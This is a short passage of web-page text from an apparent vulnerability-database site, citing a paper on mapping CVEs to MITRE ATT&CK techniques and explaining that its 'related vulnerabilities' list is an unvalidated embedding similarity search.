The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
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